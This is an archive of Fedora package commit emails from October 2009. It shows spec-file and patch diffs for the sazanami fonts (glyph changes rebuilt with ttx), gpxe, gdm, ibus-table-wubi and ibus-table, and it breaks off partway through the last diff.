+        <pt x="633" y="2" on="1"/>
+        <pt x="702" y="-18" on="0"/>
+        <pt x="798" y="-71" on="1"/>
+        <pt x="854" y="-102" on="0"/>
+        <pt x="880" y="-98" on="1"/>
+        <pt x="886" y="-97" on="0"/>
+        <pt x="891" y="-95" on="1"/>
+        <pt x="926" y="-79" on="0"/>
+        <pt x="886" y="-53" on="1"/>
+        <pt x="821" y="-13" on="0"/>
+        <pt x="671" y="0" on="1"/>
+      </contour>
+      <contour>
+        <pt x="612" y="481" on="1"/>
+        <pt x="834" y="481" on="1"/>
+        <pt x="782" y="396" on="0"/>
+        <pt x="733" y="355" on="1"/>
+        <pt x="650" y="404" on="0"/>
+        <pt x="619" y="468" on="1"/>
+        <pt x="618" y="475" on="0"/>
+      </contour>
+      <contour>
+        <pt x="694" y="326" on="1"/>
+        <pt x="604" y="266" on="0"/>
+        <pt x="413" y="209" on="1"/>
+        <pt x="411" y="208" on="0"/>
+        <pt x="415" y="205" on="1"/>
+        <pt x="456" y="213" on="1"/>
+        <pt x="457" y="213" on="1"/>
+        <pt x="426" y="182" on="0"/>
+        <pt x="354" y="149" on="1"/>
+        <pt x="303" y="166" on="0"/>
+        <pt x="223" y="165" on="1"/>
+        <pt x="221" y="165" on="0"/>
+        <pt x="218" y="165" on="1"/>
+        <pt x="267" y="150" on="0"/>
+        <pt x="330" y="105" on="1"/>
+        <pt x="367" y="79" on="0"/>
+        <pt x="386" y="83" on="1"/>
+        <pt x="396" y="87" on="1"/>
+        <pt x="420" y="102" on="0"/>
+        <pt x="404" y="121" on="1"/>
+        <pt x="396" y="131" on="0"/>
+        <pt x="377" y="140" on="1"/>
+        <pt x="436" y="155" on="0"/>
+        <pt x="475" y="171" on="1"/>
+        <pt x="501" y="182" on="0"/>
+        <pt x="501" y="188" on="1"/>
+        <pt x="502" y="199" on="0"/>
+        <pt x="461" y="214" on="1"/>
+        <pt x="635" y="249" on="0"/>
+        <pt x="728" y="301" on="1"/>
+        <pt x="801" y="252" on="0"/>
+        <pt x="955" y="194" on="1"/>
+        <pt x="982" y="237" on="0"/>
+        <pt x="1014" y="245" on="1"/>
+        <pt x="847" y="297" on="0"/>
+        <pt x="784" y="327" on="1"/>
+        <pt x="779" y="330" on="0"/>
+        <pt x="774" y="332" on="1"/>
+        <pt x="829" y="376" on="0"/>
+        <pt x="887" y="462" on="1"/>
+        <pt x="934" y="472" on="0"/>
+        <pt x="935" y="484" on="1"/>
+        <pt x="935" y="496" on="0"/>
+        <pt x="883" y="536" on="1"/>
+        <pt x="875" y="543" on="1"/>
+        <pt x="847" y="503" on="1"/>
+        <pt x="490" y="503" on="1"/>
+        <pt x="512" y="481" on="1"/>
+        <pt x="593" y="481" on="1"/>
+        <pt x="588" y="475" on="0"/>
+        <pt x="590" y="464" on="1"/>
+        <pt x="590" y="462" on="0"/>
+        <pt x="591" y="460" on="1"/>
+        <pt x="618" y="385" on="0"/>
       </contour>
       <contour>
         <pt x="289" y="645" on="1"/>
@@ -1429135,144 +1429269,11 @@
         <pt x="236" y="623" on="0"/>
       </contour>
       <contour>
-        <pt x="235" y="754" on="1"/>
-        <pt x="97" y="754" on="1"/>
-        <pt x="119" y="731" on="1"/>
-        <pt x="235" y="731" on="1"/>
-        <pt x="235" y="667" on="1"/>
-        <pt x="172" y="667" on="1"/>
-        <pt x="92" y="707" on="1"/>
-        <pt x="97" y="590" on="0"/>
-        <pt x="96" y="519" on="1"/>
-        <pt x="96" y="502" on="0"/>
-        <pt x="95" y="472" on="1"/>
-        <pt x="94" y="435" on="0"/>
-        <pt x="118" y="428" on="1"/>
-        <pt x="139" y="423" on="0"/>
-        <pt x="149" y="447" on="1"/>
-        <pt x="152" y="457" on="0"/>
-        <pt x="152" y="470" on="1"/>
-        <pt x="236" y="470" on="1"/>
-        <pt x="235" y="449" on="0"/>
-        <pt x="235" y="406" on="1"/>
-        <pt x="82" y="406" on="1"/>
-        <pt x="104" y="384" on="1"/>
-        <pt x="235" y="384" on="1"/>
-        <pt x="234" y="291" on="1"/>
-        <pt x="234" y="290" on="1"/>
-        <pt x="140" y="290" on="1"/>
-        <pt x="137" y="299" on="1"/>
-        <pt x="167" y="318" on="0"/>
-        <pt x="161" y="329" on="1"/>
-        <pt x="152" y="343" on="0"/>
-        <pt x="92" y="355" on="1"/>
-        <pt x="93" y="321" on="0"/>
-        <pt x="90" y="295" on="1"/>
-        <pt x="89" y="285" on="0"/>
-        <pt x="87" y="270" on="1"/>
-        <pt x="83" y="237" on="0"/>
-        <pt x="105" y="229" on="1"/>
-        <pt x="124" y="222" on="0"/>
-        <pt x="135" y="243" on="1"/>
-        <pt x="140" y="253" on="0"/>
-        <pt x="140" y="267" on="1"/>
-        <pt x="366" y="267" on="1"/>
-        <pt x="363" y="247" on="0"/>
-        <pt x="372" y="237" on="1"/>
-        <pt x="375" y="233" on="0"/>
-        <pt x="380" y="231" on="1"/>
-        <pt x="282" y="223" on="0"/>
-        <pt x="170" y="216" on="1"/>
-        <pt x="166" y="216" on="0"/>
-        <pt x="166" y="210" on="0"/>
-        <pt x="170" y="210" on="1"/>
-        <pt x="407" y="210" on="1"/>
-        <pt x="446" y="211" on="0"/>
-        <pt x="484" y="212" on="1"/>
-        <pt x="484" y="149" on="1"/>
-        <pt x="109" y="149" on="1"/>
-        <pt x="131" y="126" on="1"/>
-        <pt x="484" y="126" on="1"/>
-        <pt x="484" y="56" on="1"/>
-        <pt x="32" y="56" on="1"/>
-        <pt x="55" y="34" on="1"/>
-        <pt x="484" y="34" on="1"/>
-        <pt x="484" y="-18" on="1"/>
-        <pt x="484" y="-42" on="0"/>
-        <pt x="450" y="-41" on="1"/>
-        <pt x="447" y="-41" on="0"/>
-        <pt x="444" y="-41" on="1"/>
-        <pt x="298" y="-29" on="1"/>
-        <pt x="373" y="-60" on="0"/>
-        <pt x="393" y="-116" on="1"/>
-        <pt x="409" y="-115" on="1"/>
-        <pt x="540" y="-106" on="0"/>
-        <pt x="540" y="-18" on="1"/>
-        <pt x="540" y="34" on="1"/>
-        <pt x="962" y="34" on="1"/>
-        <pt x="1010" y="34" on="0"/>
-        <pt x="962" y="70" on="1"/>
-        <pt x="914" y="107" on="1"/>
-        <pt x="879" y="56" on="1"/>
-        <pt x="540" y="56" on="1"/>
-        <pt x="540" y="126" on="1"/>
-        <pt x="882" y="126" on="1"/>
-        <pt x="913" y="126" on="0"/>
-        <pt x="904" y="142" on="1"/>
-        <pt x="900" y="149" on="0"/>
-        <pt x="886" y="160" on="1"/>
-        <pt x="882" y="163" on="1"/>
-        <pt x="835" y="200" on="1"/>
-        <pt x="799" y="149" on="1"/>
-        <pt x="540" y="149" on="1"/>
-        <pt x="540" y="214" on="1"/>
-        <pt x="590" y="216" on="0"/>
-        <pt x="773" y="229" on="1"/>
-        <pt x="796" y="238" on="0"/>
-        <pt x="796" y="247" on="1"/>
-        <pt x="796" y="259" on="0"/>
-        <pt x="769" y="283" on="1"/>
-        <pt x="564" y="248" on="0"/>
-        <pt x="400" y="233" on="1"/>
-        <pt x="401" y="234" on="0"/>
-        <pt x="404" y="236" on="1"/>
-        <pt x="404" y="234" on="0"/>
-        <pt x="407" y="234" on="1"/>
-        <pt x="620" y="269" on="0"/>
-        <pt x="724" y="324" on="1"/>
-        <pt x="794" y="281" on="0"/>
-        <pt x="955" y="222" on="1"/>
-        <pt x="983" y="266" on="0"/>
-        <pt x="1013" y="274" on="1"/>
-        <pt x="843" y="323" on="0"/>
-        <pt x="777" y="353" on="1"/>
-        <pt x="774" y="354" on="0"/>
-        <pt x="772" y="355" on="1"/>
-        <pt x="826" y="395" on="0"/>
-        <pt x="885" y="477" on="1"/>
-        <pt x="933" y="487" on="0"/>
-        <pt x="933" y="499" on="1"/>
-        <pt x="933" y="510" on="0"/>
-        <pt x="885" y="547" on="1"/>
-        <pt x="881" y="550" on="1"/>
-        <pt x="873" y="557" on="1"/>
-        <pt x="845" y="517" on="1"/>
-        <pt x="484" y="517" on="1"/>
-        <pt x="506" y="495" on="1"/>
-        <pt x="589" y="495" on="1"/>
-        <pt x="584" y="490" on="0"/>
-        <pt x="585" y="480" on="1"/>
-        <pt x="585" y="478" on="0"/>
-        <pt x="586" y="475" on="1"/>
-        <pt x="614" y="403" on="0"/>
-        <pt x="689" y="348" on="1"/>
-        <pt x="599" y="292" on="0"/>
         <pt x="406" y="238" on="1"/>
         <pt x="417" y="251" on="0"/>
         <pt x="417" y="270" on="1"/>
         <pt x="417" y="272" on="0"/>
         <pt x="416" y="294" on="1"/>
-        <pt x="416" y="296" on="0"/>
         <pt x="416" y="298" on="1"/>
         <pt x="443" y="316" on="0"/>
         <pt x="440" y="325" on="1"/>
@@ -1429303,16 +1429304,16 @@
         <pt x="786" y="588" on="1"/>
         <pt x="802" y="566" on="0"/>
         <pt x="861" y="565" on="1"/>
-        <pt x="866" y="565" on="0"/>
+        <pt x="867" y="565" on="0"/>
         <pt x="873" y="565" on="1"/>
         <pt x="881" y="565" on="1"/>
         <pt x="926" y="565" on="0"/>
         <pt x="973" y="581" on="1"/>
-        <pt x="1017" y="596" on="0"/>
+        <pt x="1015" y="595" on="0"/>
         <pt x="1015" y="614" on="1"/>
         <pt x="1015" y="616" on="0"/>
         <pt x="1014" y="618" on="1"/>
-        <pt x="989" y="646" on="0"/>
+        <pt x="990" y="645" on="0"/>
         <pt x="989" y="646" on="1"/>
         <pt x="977" y="658" on="0"/>
         <pt x="964" y="734" on="1"/>
@@ -1429331,7 +1429332,7 @@
         <pt x="826" y="742" on="1"/>
         <pt x="857" y="754" on="0"/>
         <pt x="857" y="763" on="1"/>
-        <pt x="858" y="774" on="0"/>
+        <pt x="858" y="775" on="0"/>
         <pt x="809" y="812" on="1"/>
         <pt x="797" y="821" on="1"/>
         <pt x="769" y="782" on="1"/>
@@ -1429340,7 +1429341,7 @@
         <pt x="569" y="718" on="0"/>
         <pt x="568" y="706" on="1"/>
         <pt x="560" y="672" on="1"/>
-        <pt x="543" y="629" on="0"/>
+        <pt x="540" y="621" on="0"/>
         <pt x="488" y="600" on="1"/>
         <pt x="437" y="579" on="1"/>
         <pt x="433" y="578" on="0"/>
@@ -1429349,7 +1429350,7 @@
         <pt x="429" y="627" on="1"/>
         <pt x="461" y="638" on="0"/>
         <pt x="462" y="648" on="1"/>
-        <pt x="462" y="659" on="0"/>
+        <pt x="462" y="656" on="0"/>
         <pt x="411" y="698" on="1"/>
         <pt x="400" y="707" on="1"/>
         <pt x="373" y="667" on="1"/>
@@ -1429358,7 +1429359,7 @@
         <pt x="401" y="731" on="1"/>
         <pt x="429" y="731" on="0"/>
         <pt x="424" y="744" on="1"/>
-        <pt x="420" y="753" on="0"/>
+        <pt x="420" y="754" on="0"/>
         <pt x="401" y="768" on="1"/>
         <pt x="354" y="804" on="1"/>
         <pt x="318" y="754" on="1"/>
@@ -1429371,6 +1429372,54 @@
         <pt x="273" y="809" on="1"/>
         <pt x="234" y="820" on="1"/>
         <pt x="234" y="775" on="0"/>
+        <pt x="235" y="754" on="1"/>
+        <pt x="97" y="754" on="1"/>
+        <pt x="119" y="731" on="1"/>
+        <pt x="235" y="731" on="1"/>
+        <pt x="235" y="667" on="1"/>
+        <pt x="172" y="667" on="1"/>
+        <pt x="92" y="707" on="1"/>
+        <pt x="97" y="590" on="0"/>
+        <pt x="96" y="519" on="1"/>
+        <pt x="96" y="502" on="0"/>
+        <pt x="95" y="472" on="1"/>
+        <pt x="94" y="434" on="0"/>
+        <pt x="118" y="428" on="1"/>
+        <pt x="142" y="422" on="0"/>
+        <pt x="149" y="447" on="1"/>
+        <pt x="152" y="457" on="0"/>
+        <pt x="152" y="470" on="1"/>
+        <pt x="236" y="470" on="1"/>
+        <pt x="235" y="449" on="0"/>
+        <pt x="235" y="406" on="1"/>
+        <pt x="82" y="406" on="1"/>
+        <pt x="104" y="384" on="1"/>
+        <pt x="235" y="384" on="1"/>
+        <pt x="234" y="291" on="1"/>
+        <pt x="234" y="290" on="1"/>
+        <pt x="140" y="290" on="1"/>
+        <pt x="137" y="299" on="1"/>
+        <pt x="167" y="318" on="0"/>
+        <pt x="161" y="329" on="1"/>
+        <pt x="152" y="343" on="0"/>
+        <pt x="92" y="355" on="1"/>
+        <pt x="93" y="321" on="0"/>
+        <pt x="90" y="295" on="1"/>
+        <pt x="89" y="285" on="0"/>
+        <pt x="87" y="270" on="1"/>
+        <pt x="83" y="237" on="0"/>
+        <pt x="105" y="229" on="1"/>
+        <pt x="124" y="222" on="0"/>
+        <pt x="135" y="243" on="1"/>
+        <pt x="140" y="253" on="0"/>
+        <pt x="140" y="267" on="1"/>
+        <pt x="366" y="267" on="1"/>
+        <pt x="363" y="247" on="0"/>
+        <pt x="372" y="237" on="1"/>
+        <pt x="375" y="233" on="0"/>
+        <pt x="380" y="231" on="1"/>
+        <pt x="400" y="233" on="1"/>
+        <pt x="403" y="236" on="0"/>
       </contour>
       <instructions><bytecode>
         </bytecode></instructions>


Index: sazanami-fonts.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sazanami-fonts/devel/sazanami-fonts.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sazanami-fonts.spec	27 Jul 2009 03:49:16 -0000	1.7
+++ sazanami-fonts.spec	6 Oct 2009 03:01:58 -0000	1.8
@@ -1,7 +1,5 @@
-%define	fontver		20061016
 %define	priority	66
 %define	fontname	sazanami
-%define	archivename	%{fontname}-%{fontver}
 %define	fontconf	%{priority}-%{fontname}
 %define catalogue	%{_sysconfdir}/X11/fontpath.d
 %define	common_desc	\
@@ -10,22 +8,22 @@ They also contains some embedded Japanes
 
 Name:		%{fontname}-fonts
 Version:	0.20040629
-Release:	8.%{fontver}%{?dist}
+Release:	9%{?dist}
 BuildArch:	noarch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:	ttmkfdir >= 3.0.6
 BuildRequires:	mkfontdir
 BuildRequires:	fontpackages-devel
+BuildRequires:	fonttools
 URL:		http://efont.sourceforge.jp/
 
-# original is http://prdownloads.sourceforge.jp/efont/10087/sazanami-20040629.tar.bz2
-# due to Bug#196433, ttf has been modified and the tarball repacked
-Source0:	sazanami-%{fontver}.tar.bz2
+Source0:	http://globalbase.dl.sourceforge.jp/efont/10087/sazanami-20040629.tar.bz2
 Source1:	fonts.alias.sazanami-gothic
 Source2:	fonts.alias.sazanami-mincho
 Source3:	%{fontname}-gothic-fontconfig.conf
 Source4:	%{fontname}-mincho-fontconfig.conf
-
+Patch1:		uni7E6B-gothic.patch
+Patch2:		uni7E6B-mincho.patch
 
 Summary:	Sazanami Japanese TrueType fonts
 License:	BSD
@@ -73,9 +71,23 @@ Requires:	%{name}-common = %{version}-%{
 This package contains Japanese TrueType font for Mincho type face.
 
 %prep
-%setup -q -n sazanami-%{fontver}
+%setup -q -n sazanami-20040629
 
 %build
+#rhbz#196433: modify the ttfs to change the glyph for 0x7E6B
+ttx -i -a -e sazanami-gothic.ttf
+patch -b -z .uni7E6B sazanami-gothic.ttx %{PATCH1}
+touch -r sazanami-gothic.ttf sazanami-gothic.ttx
+rm sazanami-gothic.ttf
+ttx -b sazanami-gothic.ttx
+touch -r sazanami-gothic.ttx sazanami-gothic.ttf
+
+ttx -i -a -e sazanami-mincho.ttf
+patch -b -z .uni7E6B sazanami-mincho.ttx %{PATCH2}
+touch -r sazanami-mincho.ttf sazanami-mincho.ttx
+rm sazanami-mincho.ttf
+ttx -b sazanami-mincho.ttx
+touch -r sazanami-mincho.ttx sazanami-mincho.ttf
 
 %install
 rm -rf $RPM_BUILD_ROOT
@@ -133,6 +145,13 @@ rm -rf $RPM_BUILD_ROOT
 %dir %{_fontdir}
 
 %changelog
+* Tue Oct  6 2009 Akira TAGOH <tagoh at redhat.com> - 0.20040629-9
+- keeps the original timestamps for TTFs.
+
+* Mon Oct 05 2009 Caol?n McNamara <caolanm at redhat.com> 
+- use ttx and rebuild the font by merging the original .ttfs with the
+  custom replacement uni7E6B glyphs
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.20040629-8.20061016
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From mdomsch at fedoraproject.org  Tue Oct  6 03:27:52 2009
From: mdomsch at fedoraproject.org (Matt Domsch)
Date: Tue,  6 Oct 2009 03:27:52 +0000 (UTC)
Subject: rpms/gpxe/devel gpxe.spec,1.4,1.5
Message-ID: <20091006032752.9FB7711C00DB@cvs1.fedora.phx.redhat.com>

Author: mdomsch

Update of /cvs/extras/rpms/gpxe/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17741

Modified Files:
	gpxe.spec 
Log Message:
move rtl8029 from -roms to -roms-qemu for qemu ne2k_pci NIC (BZ 526776)


Index: gpxe.spec
===================================================================
RCS file: /cvs/extras/rpms/gpxe/devel/gpxe.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- gpxe.spec	25 Jul 2009 01:22:32 -0000	1.4
+++ gpxe.spec	6 Oct 2009 03:27:50 -0000	1.5
@@ -1,5 +1,6 @@
 %define formats rom
-%define qemuroms ne e1000-0x100e pcnet32 rtl8139 virtio-net
+# ne is only for backwards compat with older versions of qemu
+%define qemuroms rtl8029 ne e1000-0x100e pcnet32 rtl8139 virtio-net
 %define buildarches %{ix86} x86_64
 
 # debugging firmwares does not goes the same way as a normal program.
@@ -9,7 +10,7 @@
 
 Name:    gpxe
 Version: 0.9.7
-Release: 5%{?dist}
+Release: 6%{?dist}
 Summary: A network boot loader
 
 Group:   System Environment/Base
@@ -141,6 +142,9 @@ rm -rf $RPM_BUILD_ROOT
 %endif
 
 %changelog
+* Mon Oct  5 2009 Matt Domsch <mdomsch at fedoraproject.org> - 0.9.7-6
+- move rtl8029 from -roms to -roms-qemu for qemu ne2k_pci NIC (BZ 526776)
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.9.7-5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From mdomsch at fedoraproject.org  Tue Oct  6 03:30:34 2009
From: mdomsch at fedoraproject.org (Matt Domsch)
Date: Tue,  6 Oct 2009 03:30:34 +0000 (UTC)
Subject: rpms/gpxe/F-11 gpxe.spec,1.4,1.5
Message-ID: <20091006033034.75DBB11C0298@cvs1.fedora.phx.redhat.com>

Author: mdomsch

Update of /cvs/extras/rpms/gpxe/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18214

Modified Files:
	gpxe.spec 
Log Message:
move rtl8029 from -roms to -roms-qemu for qemu ne2k_pci NIC (BZ 526776)


Index: gpxe.spec
===================================================================
RCS file: /cvs/extras/rpms/gpxe/F-11/gpxe.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- gpxe.spec	19 May 2009 22:26:21 -0000	1.4
+++ gpxe.spec	6 Oct 2009 03:30:34 -0000	1.5
@@ -1,5 +1,6 @@
 %define formats rom
-%define qemuroms ne e1000-0x100e pcnet32 rtl8139 virtio-net
+# ne is only for backwards compat with older versions of qemu
+%define qemuroms rtl8029 ne e1000-0x100e pcnet32 rtl8139 virtio-net
 %define buildarches %{ix86} x86_64
 
 # debugging firmwares does not goes the same way as a normal program.
@@ -9,7 +10,7 @@
 
 Name:    gpxe
 Version: 0.9.7
-Release: 4%{?dist}
+Release: 6%{?dist}
 Summary: A network boot loader
 
 Group:   System Environment/Base
@@ -141,6 +142,12 @@ rm -rf $RPM_BUILD_ROOT
 %endif
 
 %changelog
+* Mon Oct  5 2009 Matt Domsch <mdomsch at fedoraproject.org> - 0.9.7-6
+- move rtl8029 from -roms to -roms-qemu for qemu ne2k_pci NIC (BZ 526776)
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.9.7-5
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Tue May 19 2009 Matt Domsch <mdomsch at fedoraproject.org> - 0.9.7-4
 - add undionly.kpxe to -bootimgs
 



From mdomsch at fedoraproject.org  Tue Oct  6 03:31:36 2009
From: mdomsch at fedoraproject.org (Matt Domsch)
Date: Tue,  6 Oct 2009 03:31:36 +0000 (UTC)
Subject: rpms/gpxe/F-12 gpxe.spec,1.4,1.5
Message-ID: <20091006033136.C678411C00DB@cvs1.fedora.phx.redhat.com>

Author: mdomsch

Update of /cvs/extras/rpms/gpxe/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18407

Modified Files:
	gpxe.spec 
Log Message:
move rtl8029 from -roms to -roms-qemu for qemu ne2k_pci NIC (BZ 526776)


Index: gpxe.spec
===================================================================
RCS file: /cvs/extras/rpms/gpxe/F-12/gpxe.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- gpxe.spec	25 Jul 2009 01:22:32 -0000	1.4
+++ gpxe.spec	6 Oct 2009 03:31:36 -0000	1.5
@@ -1,5 +1,6 @@
 %define formats rom
-%define qemuroms ne e1000-0x100e pcnet32 rtl8139 virtio-net
+# ne is only for backwards compat with older versions of qemu
+%define qemuroms rtl8029 ne e1000-0x100e pcnet32 rtl8139 virtio-net
 %define buildarches %{ix86} x86_64
 
 # debugging firmwares does not goes the same way as a normal program.
@@ -9,7 +10,7 @@
 
 Name:    gpxe
 Version: 0.9.7
-Release: 5%{?dist}
+Release: 6%{?dist}
 Summary: A network boot loader
 
 Group:   System Environment/Base
@@ -141,6 +142,9 @@ rm -rf $RPM_BUILD_ROOT
 %endif
 
 %changelog
+* Mon Oct  5 2009 Matt Domsch <mdomsch at fedoraproject.org> - 0.9.7-6
+- move rtl8029 from -roms to -roms-qemu for qemu ne2k_pci NIC (BZ 526776)
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.9.7-5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From mclasen at fedoraproject.org  Tue Oct  6 03:42:37 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Tue,  6 Oct 2009 03:42:37 +0000 (UTC)
Subject: rpms/gdm/F-12 registryd-no-wrapper.patch, NONE, 1.1 gdm.spec, 1.491,
	1.492
Message-ID: <20091006034237.78A4511C00DB@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gdm/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19546

Modified Files:
	gdm.spec 
Added Files:
	registryd-no-wrapper.patch 
Log Message:
fix at-spi-registry autostart file


registryd-no-wrapper.patch:
 at-spi-registryd-wrapper.desktop.in    |    4 ++--
 at-spi-registryd-wrapper.desktop.in.in |    4 ++--
 2 files changed, 4 insertions(+), 4 deletions(-)

--- NEW FILE registryd-no-wrapper.patch ---
diff -up gdm-2.28.0/data/greeter-autostart/at-spi-registryd-wrapper.desktop.in.in.registryd-no-wrapper gdm-2.28.0/data/greeter-autostart/at-spi-registryd-wrapper.desktop.in.in
--- gdm-2.28.0/data/greeter-autostart/at-spi-registryd-wrapper.desktop.in.in.registryd-no-wrapper	2009-10-05 23:34:13.222648781 -0400
+++ gdm-2.28.0/data/greeter-autostart/at-spi-registryd-wrapper.desktop.in.in	2009-10-05 23:35:09.702413116 -0400
@@ -1,8 +1,8 @@
 [Desktop Entry]
 Type=Application
 _Name=AT SPI Registry Wrapper
-Exec=@LIBDIR@/gnome-session/helpers/at-spi-registryd-wrapper
+Exec=/usr/libexec/at-spi-registryd
 OnlyShowIn=GNOME;
 AutostartCondition=GNOME /desktop/gnome/interface/accessibility
 X-GNOME-Autostart-Phase=Initialization
-X-GNOME-AutoRestart=true
\ No newline at end of file
+X-GNOME-AutoRestart=true
diff -up gdm-2.28.0/data/greeter-autostart/at-spi-registryd-wrapper.desktop.in.registryd-no-wrapper gdm-2.28.0/data/greeter-autostart/at-spi-registryd-wrapper.desktop.in
--- gdm-2.28.0/data/greeter-autostart/at-spi-registryd-wrapper.desktop.in.registryd-no-wrapper	2009-10-05 23:35:38.035399160 -0400
+++ gdm-2.28.0/data/greeter-autostart/at-spi-registryd-wrapper.desktop.in	2009-10-05 23:36:13.691664097 -0400
@@ -1,8 +1,8 @@
 [Desktop Entry]
 Type=Application
 _Name=AT SPI Registry Wrapper
-Exec=/usr/lib/gnome-session/helpers/at-spi-registryd-wrapper
+Exec=/usr/libexec/at-spi-registryd
 OnlyShowIn=GNOME;
 AutostartCondition=GNOME /desktop/gnome/interface/accessibility
 X-GNOME-Autostart-Phase=Initialization
-X-GNOME-AutoRestart=true
\ No newline at end of file
+X-GNOME-AutoRestart=true


Index: gdm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gdm/F-12/gdm.spec,v
retrieving revision 1.491
retrieving revision 1.492
diff -u -p -r1.491 -r1.492
--- gdm.spec	1 Oct 2009 14:20:57 -0000	1.491
+++ gdm.spec	6 Oct 2009 03:42:35 -0000	1.492
@@ -16,7 +16,7 @@
 Summary: The GNOME Display Manager
 Name: gdm
 Version: 2.28.0
-Release: 5%{?dist}
+Release: 6%{?dist}
 Epoch: 1
 License: GPLv2+
 Group: User Interface/X
@@ -98,6 +98,8 @@ Patch3: gdm-2.23.92-save-root-window.pat
 # https://bugzilla.gnome.org/show_bug.cgi?id=596569
 Patch4: gdm-2.28.0-use-devicekit-power.patch
 
+Patch5: registryd-no-wrapper.patch
+
 # uses /etc/sysconfig/keyboard and is thus not directly upstreamable
 # should probably be changed to get the system layout from the X server
 # https://bugzilla.gnome.org/show_bug.cgi?id=572765
@@ -147,6 +149,7 @@ The GDM fingerprint plugin provides func
 %patch2 -p1 -b .force-active-vt
 %patch3 -p1 -b .save-root-window
 %patch4 -p1 -b .use-devicekit-power
+%patch5 -p1 -b .registryd-no-wrapper
 %patch13 -p1 -b .system-keyboard
 
 %patch19 -p1 -b .multistack
@@ -401,6 +404,9 @@ fi
 %{_libdir}/gdm/simple-greeter/plugins/fingerprint.so
 
 %changelog
+* Mon Oct  5 2009 Matthias Clasen <mclasen at redhat.com> - 1:2.28.4-6
+- Fix the autostart file for at-spi-registryd
+
 * Thu Oct  1 2009 Matthias Clasen <mclasen at redhat.com> - 1:2.28.4-5
 - Handle keyboard layout variants
 



From cchance at fedoraproject.org  Tue Oct  6 04:10:32 2009
From: cchance at fedoraproject.org (cchance)
Date: Tue,  6 Oct 2009 04:10:32 +0000 (UTC)
Subject: rpms/ibus-table-wubi/F-11 ibus-table-wubi.spec,1.9,1.10
Message-ID: <20091006041032.E2A7711C02A2@cvs1.fedora.phx.redhat.com>

Author: cchance

Update of /cvs/pkgs/rpms/ibus-table-wubi/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17049

Modified Files:
	ibus-table-wubi.spec 
Log Message:
rebuilt


Index: ibus-table-wubi.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ibus-table-wubi/F-11/ibus-table-wubi.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- ibus-table-wubi.spec	6 Oct 2009 00:37:16 -0000	1.9
+++ ibus-table-wubi.spec	6 Oct 2009 04:10:32 -0000	1.10
@@ -1,6 +1,6 @@
 Name:       ibus-table-wubi
 Version:    1.2.0.20090715
-Release:    2%{?dist}
+Release:    3%{?dist}
 Summary:    Wubi table(s) for ibus-table
 License:    GPLv3+
 Group:      System Environment/Libraries
@@ -11,7 +11,7 @@ BuildRoot:  %{_tmppath}/%{name}-%{versio
 BuildArch:  noarch
 
 # for noarch pkgconfig
-Requires:   ibus-table >= 1.2
+Requires:         ibus >= 1.2, ibus-table >= 1.2
 BuildRequires:    ibus >= 1.2, ibus-table >= 1.2
 BuildRequires:    gettext-devel >= 0.17, automake >= 1.10.1
 
@@ -47,6 +47,9 @@ cd %{_datadir}/ibus-table/tables/
 %{_datadir}/ibus-table/icons/wubi86.svg
 
 %changelog
+* Tue Oct 06 2009 Caius 'kaio' Chance <k AT kaio.me> - 1.2.0.20090715-3.fc11
+- Rebuilt.
+
 * Tue Oct 06 2009 Caius 'kaio' Chance <k AT kaio.me> - 1.2.0.20090715-2.fc11
 - Rebuilt.
 



From cchance at fedoraproject.org  Tue Oct  6 04:18:30 2009
From: cchance at fedoraproject.org (cchance)
Date: Tue,  6 Oct 2009 04:18:30 +0000 (UTC)
Subject: rpms/ibus-table/F-11 ibus-table.spec,1.20,1.21
Message-ID: <20091006041830.E8ED011C00C1@cvs1.fedora.phx.redhat.com>

Author: cchance

Update of /cvs/pkgs/rpms/ibus-table/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18607

Modified Files:
	ibus-table.spec 
Log Message:
* Tue Oct 06 2009 Caius kaio Chance <k AT kaio.me> - 1.2.0.20090912-2.fc11
- IBus #564 - Fixed parsing equal sign.



Index: ibus-table.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ibus-table/F-11/ibus-table.spec,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- ibus-table.spec	30 Sep 2009 06:07:09 -0000	1.20
+++ ibus-table.spec	6 Oct 2009 04:18:30 -0000	1.21
@@ -1,11 +1,13 @@
 Name:       ibus-table
 Version:    1.2.0.20090912
-Release:    1%{?dist}
+Release:    2%{?dist}
 Summary:    The Table engine for IBus platform
 License:    LGPLv2+
 Group:      System Environment/Libraries
 URL:        http://code.google.com/p/ibus/
 Source0:    http://ibus.googlecode.com/files/%{name}-%{version}.tar.gz
+Patch0:     ibus-table-1.2.0.20090912-2.parse_eq_sign.patch
+
